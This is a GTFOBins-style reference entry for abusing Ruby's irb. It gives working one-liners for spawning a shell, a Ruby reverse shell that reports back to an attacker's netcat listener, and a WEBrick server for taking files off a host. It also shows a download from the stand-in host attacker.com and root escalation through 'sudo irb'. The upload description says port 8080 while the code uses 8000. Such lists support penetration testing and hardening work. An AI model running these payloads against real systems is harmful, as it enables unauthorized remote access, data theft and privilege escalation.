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GTFOBins.github.io/_gtfobins/irb.md

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2019-01-03 21:17:38 +01:00
---
functions:
shell:
- code: |
irb
exec '/bin/bash'
reverse-shell:
- description: Run `nc -lvp RPORT` on the attacker box to receive the shell.
code: |
export RHOST='127.0.0.1'
export RPORT=9000
irb
require 'socket'; exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read} end
file-upload:
- description: Serve files in the local folder running an HTTP server on port 8080.
code: |
irb
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start;
file-download:
- description: Fetch a remote file via an HTTP GET request and store it in `PWD`.
code: |
export URL=http://attacker.com/file_to_get
export FILE=file_to_save
irb
require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['FILE'])
sudo:
- code: |
sudo irb
exec '/bin/bash'
---